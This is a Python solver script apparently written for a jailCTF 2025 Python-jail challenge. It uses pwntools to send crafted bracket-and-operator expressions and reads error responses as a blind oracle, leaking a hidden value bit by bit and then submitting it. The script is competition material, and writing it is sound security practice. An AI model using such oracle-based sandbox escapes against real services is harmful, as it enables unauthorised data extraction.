jailctf2025-flag-lotter-solver.py

from pwn import remote
from tqdm import tqdm

LOCAL = True

for lucky_count in tqdm(range(5000)):
    print(f"trying {lucky_count=}")
    if LOCAL:
        r = remote("localhost", 5001, level="debug")
    else:
        r = remote("challs3.pyjail.club", 24908, level="debug")
    r.recvuntil(b"your lucky numbers are: ")
    lucky_numbers = r.recvline().strip().split(b", ")
    lucky_numbers = sorted([chr(int(x)) for x in lucky_numbers])
    print(f"{lucky_numbers=}")
    if lucky_numbers != [">", "[", "]", "^"]:
        r.close()
        continue

    for count in range(2 if LOCAL else 100):
        r.recvuntil(b"cmd: ")

        def bulk_query(codes: list[str]) -> list[bool]:
            rs = []
            for code in codes:
                r.sendline(code.encode())
                res = r.recvuntil(b"cmd: ")
                rs.append(b"broke" not in res)
            return rs

        payloads = {
            0: "[_>_][_>_]",
            1: "[_[_>_]>[_>_][_>_]][_>_]",
        }

        def get_code(index: int) -> str:
            bit_index = index % 8
            byte_index = index // 8

            assert byte_index in payloads

            index_code = f"[_[{payloads[byte_index]}]{('>>' + payloads[1])*bit_index}][_>_]"
            code = f"[[]][{index_code}^{payloads[1]}>{index_code}]"
            return code

        recovered = [None] * 128

        res = bulk_query([get_code(0), get_code(1), get_code(2), get_code(3), get_code(4), get_code(5), get_code(6), get_code(7)])
        recovered[0] = sum((1 << i) for i, b in enumerate(res) if b)
        payloads[recovered[0]] = f"_[{payloads[0]}]"
        res = bulk_query([get_code(8), get_code(9), get_code(10), get_code(11), get_code(12), get_code(13), get_code(14), get_code(15)])
        recovered[1] = sum((1 << i) for i, b in enumerate(res) if b)
        payloads[recovered[1]] = f"_[{payloads[1]}]"
        print(recovered)

        def expand_payloads() -> None:
            global payloads

            while True:
                keys_num = len(payloads)

                for byte, value in enumerate(recovered):
                    if value is None:
                        continue
                    tmp = f"_[{payloads[byte]}]"
                    while value > 0:
                        if value not in payloads:
                            payloads[value] = f"[{tmp}][_>_]"
                        tmp = f"{tmp}>>{payloads[1]}"
                        value = value >> 1

                for x in list(payloads.keys()):
                    for y in list(payloads.keys()):
                        value = x ^ y
                        if value not in payloads:
                            payloads[value] = f"[{payloads[x]}^{payloads[y]}][_>_]"
                
                if len(payloads) == keys_num:
                    break


        while True:
            changed = False

            expand_payloads()

            for byte, value in enumerate(recovered):
                if value is not None:
                    continue
                if byte not in payloads:
                    continue
                changed = True

                res = bulk_query([get_code(8 * byte + i) for i in range(8)])
                recovered[byte] = sum((1 << i) for i, b in enumerate(res) if b)
                payloads[recovered[byte]] = f"_[{payloads[byte]}]"
                print(recovered)
            if not changed:
                break

        r.sendline(b"submit")
        r.recvuntil(b"lottery numbers? ")
        r.sendline("".join(f"{x:02x}" for x in recovered).encode())

    print(r.recv())
    break